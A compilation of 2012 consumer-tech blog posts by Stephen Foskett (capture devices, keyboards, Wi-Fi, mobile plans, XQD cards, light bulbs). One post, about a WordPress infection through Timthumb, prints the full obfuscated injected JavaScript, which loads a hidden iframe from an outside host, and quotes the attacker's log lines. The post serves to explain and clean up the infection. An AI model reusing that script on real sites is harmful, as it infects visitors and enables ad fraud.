The sleek Blackmagic Design Intensity Extreme allows Thunderbolt-equipped computers to import and export HDMI video

Streaming live video from a camera into a computer has never been more difficult than today. Now that cameras rely on HDMI rather than simple composite, S-Video, or FireWire ports, it can be extremely difficult to connect them to a computer. That’s why I was thrilled to see the announcement by Blackmagic Design of two Thunderbolt versions of their respected Intensity video input/output box. But which is the better choice, the Intensity Shuttle or Intensity Extreme?

Introducing the Blackmagic Design Intensity

Blackmagic Design is well known for their inexpensive yet professional quality audio/video hardware and software. I first became acquainted with the company at NAB Show last year, coming away impressed by their broad lineup of video input and output devices. But the one that really caught my eye was the Thunderbolt-enabled Intensity Extreme.

You might also want to read The First Thunderbolt Peripherals On Display At NAB Show

“Intensity” is Blackmagic’s line of HDMI capture and playback devices. The Intensity Pro (internal PCIe) and Intensity Shuttle (external USB 3.0) have been available for a while. These offer a wide range of video capture and playback connections including HDMI, S-Video, component, and composite. Both are compatible with a wide range of professional editing software, including Avid Media Composer 6, Apple Final Cut Pro, and Adobe Premiere Pro.

You can't use this Blackmagic Design Intensity Pro in a MacBook Pro, but the same components make up the other Intensity products

HDMI capture is critical for the latest generation of cameras, since most do not stream video over FireWire any longer. There is a vibrant market for “new old stock” and even used Canon HD camcorders with FireWire output, since these were the last to reliably stream live video to computers for use with webcasting applications.

The Intensity line opens up a whole world of cameras, including many HD camcorders as well as SLR and mirrorless cameras like my Sony NEX. This will lead to higher quality video for live streams of events like my Tech Field Day and Truth in IT seminar series.

The Thunderbolt Enabled Intensity Shuttle and Intensity Extreme

Although Apple Macintosh computers are widely used for live streaming, they have not been able to take advantage of the Blackmagic Intensity line due to Apple’s steadfast refusal to adopt USB 3.0. All that changes with the introduction of the Intensity Shuttle Thunderbolt and Intensity Extreme.

The Blackmagic Design Intensity Shuttle Thunderbolt may not look as cool, but it just might be the better product!

Both the Intensity Shuttle and Intensity Extreme feature HDMI input and output and Thunderbolt connectivity for Apple MacBook Pro laptops. Both also include a variety of alternative input/output options, including S-Video, composite, and component. Both versions are also compatible with a wide range of popular software, include a bundle of Blackmagic applications, and share the same internal components.

So what’s the difference between the Intensity Shuttle Thunderbolt and Intense Extreme, apart from a $60-higher price tag for the latter? The most obvious difference is the gorgeous machined aluminum case on the Intensity Extreme, which totally outclasses the two-tone plastic of the Intensity Shuttle Thunderbolt. The Intensity Extreme relies on a breakout cable rather than the lineup of connectors along the edges of the Intensity Shuttle. Perhaps the Intensity Extreme is more rugged, but I prefer the light weight and integrated connectors of the Intensity Shuttle.

There are only slight differences between Blackmagic's Intensity Shuttle and Intensity Extreme products

A quick look at the tech specs for the two devices shows some subtle but, perhaps, important differences. The Intensity Shuttle Thunderbolt supports 8 channel audio input and output for HDMI connections, while the Intensity Extreme only lists dual channel support. But the Intensity Extreme is alone in featuring a 2-channel 24-bit SPDIF audio output port. The Intensity Shuttle Thunderbolt appears to support a wider range of video formats, including 480p, 525p NTSC and 625p PAL, though this could perhaps be an oversight in the specifications listing.

Both versions of the Blackmagic Intensity require the separate purchase of Apple’s $50 Thunderbolt cable, and both appear to draw power from this port rather than increasing travel weight with an extra power supply.

I know I would lose the breakout cable for the Intensity Extreme...

Stephen’s Stance

Overall, I’m thrilled to see Blackmagic bring HDMI video input and output to the Thunderbolt ports found on most Apple computers, and the low price of the Intensity products is certainly welcome. Personally, I will choose the Intensity Shuttle Thunderbolt for its lighter weight and no-breakout connectivity, and use the $60 I saved to purchase the Apple Thunderbolt cable. I’m not convinced that the minor technical differences between the 2 devices are a dealbreaker for me, though I can imagine some might demand the SPDIF audio port found only on the Intensity Extreme. Note that neither device is yet shipping, but Blackmagic promises to deliver them this quarter.

© sfoskett for Stephen Foskett, Pack Rat, 2012. | Preview: Two Thunderbolt Video Input and Output Devices from Blackmagic Design: Intensity Shuttle and Intensity Extreme
This post was categorized as Apple, Personal, Terabyte home. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.

I started by explaining a little bit about radio waves generally. “There are radio signals that are very low frequency, with a long wavelength, as well as those that are very high frequency.”

“What do you mean? What are radio signals?”

“Radio signals are like waves in water,” I said. My wife, the science teacher, quickly brought up a picture of the electromagnetic spectrum as an illustration. “There are tiny, ultra-high-frequency gamma rays and x-rays, as well as light waves in the middle and lower frequency radio waves.”

“So there are radio waves all around us right now?”

“Radio signals are like light, only in a color you can’t see,” I explained. “Every radio device sends it signals out in all directions, hoping an antenna will pick them up. And the spectrum of all these frequencies is divided up into segments like television channels.”

Big mistake: My TiVo-raised kids have no idea what a television channel is. But they had some idea about radio stations and could understand that different frequencies could contain different information.

So I transitioned into a discussion of congestion. “The phone and the computer are like flashlights, but it’s hard to see a flashlight in a bright room. If the room has blue lights, and you turn on a red flashlight, it will be obvious. But a blue one would be almost invisible!”

“So why is 5 GHz Wi-Fi so much faster than our old network,” asked the kids.

“There are 2 reasons,” I answered. “First, the 2.4 GHz spectrum used by regular Wi-Fi is really crowded, with lots of devices sharing it. Even telephones, cameras, and microwave ovens use that frequency! Second, 5 GHz has a lot more space for everyone to share, so much that you can even use wider channels.”

“Why don’t they just make more space for regular 2.4 GHz Wi-Fi?”

“They can’t! There’s just too many other people using radio signals around there, and they can’t move them around. The same thing happened in 900 MHz, and it might eventually happen in 5 GHz, too,” I explained. “It’s important that someone regulate who uses what frequency or it would be chaos. Imagine if anyone could drive in any direction anywhere on the highway!”

“It would be pretty cool to be able to see radio waves,” one of the kids commented.

“You can,” I answered. “A friend of mine makes a little device you plug into the computer, and it allows you to see all the signals in the 2.4 GHz and 5 GHz bands. It’s used by Wi-Fi engineers to plan networks. My friend gave me one, if you’d like to see it!”

I grabbed my laptop and Wi-Spy DBx card, started VMware Fusion, and launched MetaGeek’s Chanalyzer application. In a few minutes, I had a screen full of signals in the 2.4 GHz range. Although we live in a quiet suburb with large lawns, there were dozens of devices sharing that paltry spectrum.

This is why we can't have nice things...

I then switched over to the 5 GHz band. After a moment, we saw our first 5 GHz signal. Then we saw some more, all clustered around channel 100. A quick option click on the Wi-Fi icon in the menu bar showed us that the Ruckus access point was indeed using channel 100. The only signal in the entire 5 GHz band was our own access point!

5 GHz is like a beautiful, open highway

After a while, we did see some others stray signals in the 5 GHz band. But Chanalyzer gave a wonderful visual demonstration of the contention in 2.4 GHz and the wide open spaces in 5 GHz.

I was even able to demonstrate the wider channels used by the Ruckus access point and my MacBook Pro. The kids walked away with a better understanding of electromagnetic waves, radio devices, and the rules that govern their use. Special thanks to Tech Field Day sponsors, Ruckus Wireless and MetaGeek for making this little demonstration possible!

Disclaimer: Ruckus Wireless and MetaGeek gave me the products mentioned in this post free of charge as part of Tech Field Day. I still may have had this conversation without them, but I wouldn’t have had such exciting visuals!

© sfoskett for Stephen Foskett, Pack Rat, 2012. | Teaching Science with Wi-Fi (Thanks, Ruckus and MetaGeek!)
This post was categorized as Apple, Ask a Pack Rat, Personal, Terabyte home. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.

Twitter is here to stay, and has become a potent communication tool in many industries. I recently received a request for advice on how better to use Twitter, and thought I would share some of the lessons I’ve learned over the years as an avid IT industry tweeter.

• Twitter Zen: A Global Conversation like No Other The most important concept to grasp is the fundamental nature of Twitter: It is an ongoing, global, democratic conversation. It is not a blog, USENET, Facebook or MySpace, or an instant message platform, though it does have certain elements of all of those.
• Twitter Zen: Setting up Your Account When you create a Twitter account, you will be asked to enter some profile information, including your name, URL, description, and photo. All of these are critically important: Many people will look at them to decide whether they want to follow you. If you have not set these up, other Twitter users likely will ignore you!
• Twitter Zen: Joining the ConversationIt can be difficult to start using Twitter, since you must decide who to follow and it will take some time before people follow you back, let alone interact with you. Imagine yourself walking into a room full of interesting people, all having conversations with each other. Do you expect everyone to notice that you have arrived, stop what they’re doing, and greet you warmly? Or do you expect that you will need to find someone interesting and join their conversation?
• Twitter Zen: The Four Conversational ParadigmsTwitter can be confusing for the uninitiated, and the fact that there are effectively four different ways of viewing it certainly contributes. Although the main Twitter stream seems like a unified set of short messages, clients view it in very different ways.

That’s the series so far. But I’ve had questions and comments, and intend to write more in the future! Watch the series url, http://foskettservices.com/series/twitter-zen/ or this page, or maybe even follow me on Twitter!

© sfoskett for Stephen Foskett, Pack Rat, 2012. | Twitter Zen: My Tips For Newbies
This post was categorized as Ask a Pack Rat, Personal. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.

Das Keyboard promises that their Model S for Mac is a worthy successor to the legendary IBM Model M, but I beg to differ

I make my living typing, and always have. From my days as a systems administrator to today doing whatever it is that I do, half my waking hours are spent in front of the keyboard. I’ve long used a very specific and much loved keyboard: A 1987 IBM Model M. But, in need of Macintosh keys and a USB connection, I jumped at the opportunity to pick up the brand-new Das Keyboard Model S for Mac. Here’s what I thought of it, my recommendation, and why I’m sending it back.

What I Look for in a Keyboard

I literally spend 8 to 10 hours a day typing, and I’ve gotten fairly fast over the last 2 decades. The only really satisfactory keyboard I have ever used is the one I continued to use most of that time, an IBM Model M manufactured in 1987. What’s so great about this keyboard that people like me continue to use them?

The IBM Model M is “defend your house from zombies” solid, with a thick steel backing plate and rigid plastic case. The “buckling springs” under each key give a perfect “press and pop” feeling, with each key press rewarding the finger and ear with a satisfying “clack.” This old-school typewriter feel is much sought after, and has spurred a vibrant aftermarket for otherwise-obsolete IBM keyboards.

To see how to use an old 101-key keyboard with a Mac, see Command and Control: The Clash of Keyboards

But I use a Mac. Macs have USB ports and make heavy use of the control, option, and command keys. IBM Model M keyboards are short on keys, and use AT or PS/2 connectors, making them less than compatible with Apple Macintosh computers, or recent Windows PCs, for that matter.

Introducing the Das Keyboard Model S For Mac

The Das Keyboard Model S is smaller and lighter than the IBM Model M

I’ve heard rumblings about Das Keyboard and their enthusiast oriented clicky keyboards for a while, but they only recently came out with a product specifically designed for use with Apple Macintosh computers. The Model S line uses Cherry MX blue mechanical key switches, known for their satisfying tactile feel. And the Model S for Mac includes Option and Command keys, along with media and sleep keys for use with Mac OS X.

Not having used a Das Keyboard, I decided to give it a try to see if it really “compares to the legendary IBM Model M”, as promised on the company’s website. I went ahead and ordered my keyboard, and it shipped much more quickly than I had expected. I must’ve gotten one of the first keyboards off the line, because the estimated ship date is still a month from now!

The Das Keyboard Model S is truly an enthusiast oriented keyboard, with 6 key rollover and a built-in USB hub. But the USB hub uses a separate connector from the keyboard, is only 2 ports, and interferes with right-handed use of mice or Apple’s Magic Trackpad. The dark glossy finish contrasts with flat black keys, though I do not care for the illegible lowercase font used by Das Keyboard.

Unboxing and Initial Impressions

Shipping was fast, but I was surprised by the small size and light weight of the box I received. The inner container, though glossy and thankfully not overly verbose, looks and feels cheaper than one would expect from a high-end enthusiast product. Honestly, it would get lost on the shelves at Fry’s or Micro Center amid thir ocean of worthless, mushy, flexy junk keyboards.

This is a shame, because the keyboard itself really is impressive in a “2001 monolith” or “Death Star” sort of way. The sharp angles make it appear at once smaller than it is, yet more substantial than the plastic junk most companies call keyboards. The style is entirely different from the slim slabs of aluminum sold by Apple, yet both are iconic in their own way.

But the Das Keyboard Model S for Mac feels much lighter than its 3 pound weight would suggest. Although I didn’t expect it to have the same heft as my 6 pound IBM Model M, it does not feel much more substantial than the cheap Compaq keyboard I had sitting in my closet. The keys are extremely lightweight, with a feathery feel that filled me with dread. This is no Model M.

Das Keyboard Model S Typing Feel

I gave the Das Keyboard a thorough workout, using it exclusively for over a week of heavy typing. Although I could type just as fast on the Model S as the trusty IBM, I did not enjoy the feel at all.

Cherry’s MX Blue switches have a two-piece “snap” design Image: GeekHack.org	IBM Model M uses a buckling spring Image: WakWak.com

The Cherry MX blue key switches do indeed have a nice snap, but they are undone by an overall feeling of lightness to the action. The keycaps do not feel “locked in” or solidly-connected, They wobble slightly as you type, and are so light that you may not know you’ve pressed them at all if not for the snap and pop of the switch.

What’s worse, in fast typing I found myself “getting ahead of” the key switches. Unless released to spring back nearly their entire travel, the switch will not snap or pop at all on the next press, though the character input will still register. Perhaps it is my typing style that is at fault, but I found myself typing extra characters without knowing it.

I’m disappointed that Das Keyboard would emphasize the comparison between this keyboard and the Model M so strongly in their marketing materials, and disgusted that reviewers would go along with this farce. No one who had ever tried both back-to-back would ever make this comparison. Das Keyboard is fine on its own, but is nothing like a Model M. It’s like slamming the door on a Honda Civic and a Mercedes S Class: Both are satisfying, but there’s no mistaking one for the other.

Another peculiarity of the Das Keyboard Model S for Mac is its handling of the media keys. Unlike Apple’s own keyboard, and the Unicomp Spacesaver M I am currently typing on, the Das Keyboard requires one to press the function key to activate the media keys. And these media keys are oddly shifted to the left: reverse, play/pause, and fast-forward are on F6, F7, and F8 rather than F7, F8, and F9; mute, volume down, and volume up are similarly shifted from F10 through F12 to F9 through F11. I find this extremely curious in a keyboard designed for the Mac.

Stephen’s Stance

Make no mistake, the Das Keyboard Model S for Mac is a whole class better than the plastic junk most people use, and the snappy Cherry MX blue key switches are more rewarding than any scissor or membrane keyboard out there. But this is no IBM Model M, so buckling spring fans should look elsewhere. I would not hesitate to recommend the Das Keyboard Model S for Mac to anyone looking for an alternative to Apple’s scissor key aluminum slabs or built-in MacBook keyboards, but I will be returning mine and evaluating a Unicomp Spacesaver M instead.

Pros:

• Great to see a company so committed to the keyboard, a critical computer component
• Classy black monolith shape
• Good (but not great) Cherry MX blue keyswitches
• Macintosh keys (option, command, and media)

Cons:

• Totally different feel from the IBM Model M feel, despite Das Keyboard’s marketing
• Paltry 2 USB ports are in the wrong spot and use their own separate cable
• Mac media keys mis-located and require function-Fx press
• More expensive than the son-of-Model M sold by Unicomp

© sfoskett for Stephen Foskett, Pack Rat, 2012. | Review: Das Keyboard Model S for Mac (and Why I’m Sending It Back)
This post was categorized as Apple, Features, Personal, Terabyte home. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.

A Nasty Hole in Timthumb.php

I’ve used the StudioPress Genesis themes for over a year now, but previously used a variety of others. One, Metamorphosis, included a handy thumbnail generator called Timthumb.php (or more precisely, thumb.php).

It appears that someone figured out how to exploit Timthumb to insert arbitrary code in WordPress blogs.

Since I was no longer using that theme, I had forgotten it was even installed. But it seems that users can manually request theme files even if the theme isn’t activated.

On Sunday, someone from IP address 91.196.216.20 (specenergo2.ru) requested dozens of different themes that use timthumb.php or thumb.php. They hit the jackpot with the following request:

91.196.216.20 - - [22/Jan/2012:02:00:52 +0000] "GET /wp-content/themes/metamorphosis/thumb.php HTTP/1.1" 400 319 "-" "-"

This was clearly an automated attack, and provided a solid clue about the hack.

Two days later, 81.95.114.105 returned and used thumb.php to add a file to my cache directory. He then executed that php file many times, injecting obfuscated JavaScript into my blog files:

81.95.114.105 - - [24/Jan/2012:10:12:39 +0000] "GET /2008/07/26/move-os-x-time-machine-backups-new-disk//wp-content/plugins/backups/cache/68d579e3ed4163b172ee2b887dc8ba54.php HTTP/1.1" 301 839 "-" "Mozilla/5.0 (Windows;U;Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1"

I’m assuming this was another person, and that the IP isn’t a definitive indication of where the hacker was. But they had succeeded in getting their JavaScript junk into my WordPress theme.

Hello, MW:JS:150

The inserted JavaScript is pretty clever. It’s obfuscated in a number of ways, but pretty obvious in the header of the blog:

<script type='text/javascript'>var a=!1; if(-1==document.cookie.indexOf("lonly")){dhf="ht";dif="\u002F\u0069\u006E\u002E\u0063";var d=new Date;dcf="\u0067\u0069\u003F\u0032";d.setTime(d.getTime());ddf="blood.of.cm";ed=new Date(d.getTime()+72E6);dtf="tp://";document.cookie="lonly="+escape(ed.toGMTString())+";expires="+ed.toGMTString()+";path=/";df=dhf+dtf+ddf+dif+dcf;var e=-1!=navigator.userAgent.toLowerCase().indexOf("firefox"),f="1",j=function(){};j.prototype={b:function(){i=43724;this.pa="";u="u";return df},a:function(){q="q";dN=49709;this.l=46019;w="";rJ=a;this.V="";var g=document; cR=kQ=a;this.fa="";var k=window;dO="";var h=this;this.H=this.T="";this.u=64509;this.F="rQ";pK="";this.Q=39122;this.na="dY";this.d="fA";this.ka="dE";fQ=cD="";this.I="sE";try{uK=17600;this.z="pC";this.ga="bZR";this.g=41545;cL=pW="";this.v="nU";wK=a;this.h=eSU="";rO=pOR=this.s=a;this.P=eK=kVQ="";qB=a;mF="mF";this.ia=a;this.ba="";this.ca="bY";vW="getsetAttrisdf";this.m="";this.ja="zS";wE=this.i=a;this.ha="";this.n=a;this.A=55903;this.j=33170;gK=62679;var b=[];qR=vS=a;this.Z="";e||(f="0");b.push("\x68\x65\x69\x67\x68\x74", "\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x74\x72\x65\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x67\x65\x74","\x77\x69\x64\x74\x68","\x76\x62\x6D\x69\x66\x72\x73\x65\x74",vW,"body","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64",f,g,"\u0073\u0072\u0063");this.aa=a;this.la=42071;this.K=21002;eO=64506;this.O=55314;yT="";hS=a;this.L=aU=uKD="";fK=a;yI=this.G=this.C="";wI="wI";sJ=11632;this.r=a;rG="";this.M=a;this.J=40171;aA=4550;gL=40598;var l=b[2][b[1]](3,16);this.c=this.N=nZ="";this.S="uX";gP="gP";this.t="nAO";var m=b[4][b[1]](3,6);cO=52931;this.R=a;this.da=44254;this.f=21921;vK=m+"ame";tI="tI";lO="lO";this.q="mO";jZ=24453;var n=b[5][b[1]](3,11);this.oa=this.qa= "";p=n+"bute";this.ma="dH";qU=this.Y="";rJQ=a;var o=h.b();this.$=tT="";var c=b[9][l](vK);this.W="";this.k="iZ";c[b[10]]=o;nD=a;mIO="mIO";this.w="";c[b[3]]=b[8];oH=40281;this.p="";kM="kM";c[b[0]]=b[8];this.B=58620;mH=this.X="";bW="bW";wY="";b[9][b[6]][b[7]](c);kR="";this.U=a;fVT=""}catch(s){hK="",this.ea=45116,lKT=a,this.D="rD",g.write("\x3C\x68\x74\x6D\x6C\x20\x3E\x3C\x62\x6F\x64\x79\x20\x3E\x3C\x2F\x62\x6F\x64\x79\x3E\x3C\x2F\x68\x74\x6D\x6C\x3E"),this.o=a,uIE="",this.e="fI",k.setTimeout(function(){h.a()},233),iGB=29282,zN=6951}iS=""}};cB="";var r=new j;gT="";r.a()};</script>

This code apparently caused site visitors to open an invisible frame with ads in it. It sets a cookie so it won’t run more than once, and also checks to hide itself from many spiders and search engines.

So it’s basically a web ad scam, intended to defraud someone like Yahoo by making it appear their ads are getting more impressions and clicks than they really are.

I was able to detect the malware using sitecheck.sucuri.net, which is where this name comes from. Note that they claim it comes from infected desktops, but I am fairly certain it came instead from the Timthumb php attack.

Cleaning Up

Cleanup was not at all straightforward, since it was mixed with detection and deduction.

The first thing to do was protect Timthumb from further exploits. I installed Timthumb Scanner, which detects and updates compromised versions of Timthumb.php.

Next, I reinstalled WordPress and my themes. Then I blew away my Super Cache files.

I also changed my blog password and WordPress cookie salts.

Finally, just to be safe, I ran chkrootkit and changed my UNIX passwords.

This appears to have eliminated this particular attack. I hope this helps!

© sfoskett for Stephen Foskett, Pack Rat, 2012. | How My Blog Became Infected With MW:JS:150 Malware (And How I Fixed It)
This post was categorized as Personal. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.

The Clear PXU1900 WiMAX modem is cheap, and daily service is a steal

The first thing you need is a Clear modem. Luckily, eBay is flooded with their PXU1900 USB modem, starting around $25. I bought mine a year ago for a bit more, and it’s a nice backup Internet device provided you’re in their service area and near a window. Clear WiMAX performance drops precipitously indoors but is perfectly speedy in the clear (if you forgive the pun).

You’d probably also like reading my Hands-On Review: Clear WiMAX Service (and PXU1900 USB Modem)

Next, you need service. Do not sign up for a monthly subscription: With Clear going down the tubes, this is a seriously bad investment. Instead, just sign up for one of their on-demand plans whenever you need to get online.

You won’t find Clear’s 2-hour pass, 24 hour pass, or 1 week pass listed online. It’s clear that the company doesn’t want users using these. But they are available if you have a modem and want to get online!

Download and install the latest version of the modem software, launch the CLEAR Connection Manager, and insert the modem. It will search for a signal and hopefully be able to connect.

Clear has a message for you! (Hint: It's a set of undocumented short-term plans!)

Do not click “My Account” – that’s only for monthly subscribers! Instead, just open your browser and type in any URL. Clear will redirect you to a special page announcing they have “an important message for you”. This is your gateway to the undocumented short-term passes!

Be patient while waiting for these pages to load. They always take forever – 5 minutes today! This kind of focus on customer experience probably explains Clear’s success…

http://www.clear.com/plans

Click “Continue” and you will be taken https://home.clear.com/account/casual-use-reactivate. From there, you can log in or create a special account just for “casual use”.

This is much more reasonable than signing up for monthly service with a dying company!

There are three “casual use” service plans available, but you won’t find these listed on the official Clear service plans page:

• 2 hours for $5
• 24 hours for $10
• 1 week for $25

All are unlimited with no download speed throttling. Pick whichever works best for your needs and you’re online!

By the way, pairing a Clear modem with a Cradlepoint router allows you to keep it near the window for better service.

© sfoskett for Stephen Foskett, Pack Rat, 2012. | Cheap, No-Contract 4G Data: Clear’s Undocumented Daily- and Weekly-Pass Plans
This post was categorized as Apple, Deals, Personal, Terabyte home. Each of my categories has its own feed if you'd like to filter out or focus on posts like this.

Do not use your phone abroad without preparing or your bill will be shocking!

The difference between American and European mobile phone providers are vast, and the modern traveler is likely to run afoul if they are unprepared, running up a surprisingly large bill! Here’s a rundown of my standard techniques to prepare my American mobile phone for travel abroad.

Frequency Compatibility

The first thing to do when considering a trip abroad is checking whether your phone supports the technology and frequencies used by the carriers in the country will visit. The majority of European carriers rely on the 900 and 1800 MHz bands for GSM voice, SMS, and low-speed data, and the 2100 MHz band for high-speed 3G HSPA data service.

Only AT&T and T-Mobile use the same GSM technology as most European and other international providers, but this does not mean that all of their phones will function correctly overseas. Although nearly every American GSM phone is capable of voice calling and text messaging in Europe, 3G data service is another story entirely.

Neither AT&T nor T-Mobile uses the same 3G HSPA frequencies that are standard in Europe. Many phones, including my iPhone 4S, support the European frequencies as well, offering high-speed data in both Europe and America. But others only support one or the other set of frequencies for high-speed data. This is the reason my unlocked Huawei E585 is useless in the USA.

Check the specifications of your phone to see if it supports the 900/1800/2100 MHz bands for both GSM and HSPA. Note that Verizon, Sprint, and many smaller operators using entirely different technology that isn’t compatible at all with European providers. These companies do sell a few “world phones”, including the iPhone 4S. But the earlier Verizon iPhone 4 will not work in Europe.

Preparing Your AT&T Account for Use Abroad

Assuming your phone will work abroad, it is wise to consider the cost of various services while roaming. There are essentially three considerations when using the phone outside its home territory:

• Voice calling can be expensive unless a special plan is purchased at a time. Note that European carriers do not charge for incoming calls, though American carriers do.
• SMS text messaging can also be surprisingly expensive when roaming. Although most Europeans have unlimited messaging plans, and their carriers do not charge for incoming messages, many Americans have only a small allowance of text messages and are charged in both directions.
• Data service can be the biggest shocker when traveling abroad. It is not unheard of for a few days of casual e-mail, navigation, and web use to cost over $1000 while roaming abroad.

When I’m traveling abroad, I always contact AT&T ahead of time and activate features on my plan to offset these costs. Here are my recommended settings:

• AT&T’s “World Traveler” plan costs $5.99 per month but reduces the cost of voice calls from of $1.39 to $.99 per minute. If you plan to talk for more than 40 minutes, this is a win.
• AT&T also offers a variety of “Global Messaging” plans, which allow you to send SMS text messages much cheaper. I usually purchase the $10 “Global Messaging 50” plan, which includes 50 prepaid outbound text messages. This works out to $.20 per message rather than the normal rate of $.50, giving you a break even point at 34 messages.
• Data remains a problem, even though AT&T offers a variety of “Data Global” add-on packages. I usually purchase the cheapest 50 MB “Data Global Add-On” package, which includes 50 MB of data for $24.99. This may seem expensive, but it’s nowhere near as much as AT&T’s normal rate of almost $.02 per kilobyte. 50 MB of Data Global is an astonishing $973.41 (40 times) less expensive!

Don’t Rely on Data Roaming

I highly recommend purchasing a local mobile broadband device to avoid extortionate roaming charges

Even with Data Global, however, it really is not practical to use data roaming outside the United States. This is why I recommend purchasing a local “MiFi” device and 3G data plan in whatever country you will be visiting. I am bringing my Huawei E585 with me to the UK for Dell Storage Forum, recharged with 3 GB of data for just £15.

I’m really only purchasing AT&T Data Global as insurance in case I need data and the MiFi is not available for some reason. You can ring up $24.99 of data roaming charges in less than 5 seconds after using just 1.25 MB without a plan like that. It’s extortion, but that’s AT&T for you.

I will often call AT&T to activate these services a few days before leaving. They are sometimes offered to automatically cancel the service when I return, or at least give me a call back so I can cancel it. If you activate these features online, remember to deactivate them afterwards since they offer no value if you are not traveling.

You should also read An Inexpensive Mobile Broadband Alternative When Traveling in the UK and Wireless Internet Access During My Trip To The Netherlands

Stephen’s Stance

Before traveling abroad with an AT&T phone, I recommend going online or calling the company and activating 3 features: “World Traveler” for voice, “Global Messaging” for SMS, and “Data Global” for data service. I also advise purchasing a local 3G “MiFi” and turning off Data Roaming on your iPhone, even though this would seem a waste of the $24.99 Data Global plan. I imagine T-Mobile has similar offerings for world travelers, and Verizon and Sprint as well as long as a “world phone” is used.

© sfoskett for Stephen Foskett, Pack Rat, 2012. | How to Prepare Your AT&T Phone for Travel Abroad
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The new XQD memory card format will replace CompactFlash in pro SLR and video cameras

The CompactFlash Association announced a new media card format last month, and now Sony and Nikon have introduced the first media and digital cameras, respectively. But what exactly is an XQD memory card? Read on for the details.

A Different Type of Media for Different Type of Camera

XQD falls between SD and CompactFlash in physical size

Most consumers have grown used to the standard SD card for digital media. It is become ubiquitous in consumer and even semi-pro digital cameras, computers, and other devices from phones to game machines. SD (short for Secure Digital) is the descendent of the basic MultiMediaCard (MMC) format introduced in the mid-90′s. Like MMC, SD uses a simple and basic transfer mechanism rooted in the interface of flash memory chips themselves.

The SD card format has been continually updated and refined, culminating in the current SDHC and future SDXC formats used by the most advanced consumer cameras today. But SD has many limitations, and even the highest speed SD cards cannot meet the demands of fast shooting many-megapixel and pro video cameras.

Professional cameras, including full-frame digital SLR and high definition video cameras, typically use higher bandwidth formats like CompactFlash or P2. These cards may not seem all that impressive on paper, but their real-world performance justifies their extreme pricing. CompactFlash is based on now-outdated computer standards, including PCMCIA (16-bit ISA bus) and ATA, though in a smaller form factor. P2, the Panasonic format, also uses the 16-bit PCMCIA interface as well as its form factor.

XQD: A Next-Generation Memory Card Format

The new XQD card format is philosophically similar to CompactFlash in that it uses a high-speed computer bus rather than a flash interface. XQD adopts PCI Express version 2 for 2.5 Gbps throughput, with 5 Gbps promised in the future. The physical form factor falls in between CompactFlash and SD, and the CompactFlash Association suggests we will see terabyte-sized cards in the not so distant future.

Sony is first up with XQD card media, though Nikon has the first camera

XQD will likely see rapid adoption from CompactFlash adherents like Nikon and Canon. Sony appears to be getting on the XQD bandwagon as well, at least on the media side, and I expect that their future full frame cameras and pro video equipment we use the format. One expects Olympus, Fujifilm, and niche players like Sigma, Leica, and Hasselblad to join the XQD team as well. The big question is Panasonic, which seems satisfied with P2.

Although SDXC appears promising, implementation details have caused it to stumble out of the gate. The use of MBR partitioning limits capacity to “just” 2 TB, and not everyone loves the appointed exFAT filesystem. Plus, initial SDXC cards poke along even slower than conventional (and far cheaper) SDHC alternatives.

In contrast, Sony’s first batch of XQD cards are 4 times faster, allowing them to keep up with the punishing data rates generated by the new 16 megapixel Nikon D4 DSLR. With Sony set to introduce a 24 megapixel A99 and 36 megapixel hybrid mount full frame camera, it is very likely that this performance will come in handy!

Stephen’s Stance

XQD is complementary to SDXC, a high-bandwidth, high-capacity alternative for professional cameras. It is likely to be adopted by makers of professional or full frame digital SLR cameras, and one expects it to make a big splash in the digital video market as well. Future high megapixel prosumer cameras may feature both XQD and SDXC slots, giving consumers an alternative for maximum performance.

© sfoskett for Stephen Foskett, Pack Rat, 2012. | What Is an XQD Card? The New Media for Pro Cameras!
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Relax! Incandescent lightbulbs are not being banned!

Although they are ridiculously inefficient, incandescent lightbulbs seem to have a huge number of fans. Despite the romance of the glowing filament, many governments are moving to ban the use of incandescent light bulbs in many applications. Here in the United States, the federal government intends to encourage the use of more efficient light bulbs but there is no outright ban.

United States Law Promotes Efficiency, Not a Ban

It’s easy to get people stirred up about “the government”, especially when individual purchasing decisions are involved. Many governments worldwide have already enacted energy efficiency regulations that would effectively outlaw incandescent lightbulbs in many applications. But the United States government has stopped well short of this drastic action.

Enacted in December of 2007, the Energy Independence and Security Act of 2007 does not ban incandescent light bulbs or limit maximum wattage. Instead, EISA sets efficiency standards for bulbs with a light output equivalent to incandescents between 40 and 150 W. The Act does not call for a ban but proposes minimum efficiency about 28% better than current incandescent bulbs.

These efficiency standards would be phased in starting January 1, 2012, with the entire range in place by the end of 2014. But the final 2012 federal budget eliminated funding for enforcement of this measure, delaying it until October. Lighting manufacturers are upset by this delay, since they have been aggressively developing and promoting compliant lightbulbs.

Incandescent Lightbulbs Will Continue to Be Available

Even after the EISA standards go into effect, incandescent light bulbs will continue to be available in United States:

1. The law explicitly exempts many classes of lights, including specialty low wattage bulbs, appliance lamps, rough service bulbs, three-way bulbs, colored lamps, stage lighting, and plant lights. In effect, the EISA standards only apply to basic lightbulbs that are easily replaced with CFL’s.
2. The efficiency standards specified by EISA were developed in association with the lighting industry, which has already introduced inexpensive incandescent bulbs that meet the new standard. These new high-efficiency bulbs use halogen gas to reduce power consumption by the magic 28%.

In short, incandescent lightbulbs are not banned in general and will continue to be available for quite some time regardless of EISA or the 2012 federal budget. If you love incandescent light bulbs, life will go on.

Stephen’s Stance

I love the warm glow of incandescent lights, but I hate the ridiculously low efficiency and cheap build quality of run-of-the-mill bulbs. I’ve already begun replacing the sort of basic light bulbs that would be phased out this year under EISA, and I suspect many others have as well. The fact that tricky specialty bulbs are exempted from these efficiency requirements makes this an eminently practical piece of legislation.

© sfoskett for Stephen Foskett, Pack Rat, 2012. | When Incandescent Bulbs Are Outlawed, Only Outlaws Will Have Incandescent Bulbs
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My son recently came home with a tough school assignment: Build a presentation or diorama of a Roman aqueduct. As you can see from the pictures below, the finished project was way beyond anyone’s expectations. And I’m happy to report that my son was able to accomplish every element of construction with my guidance and assistance.

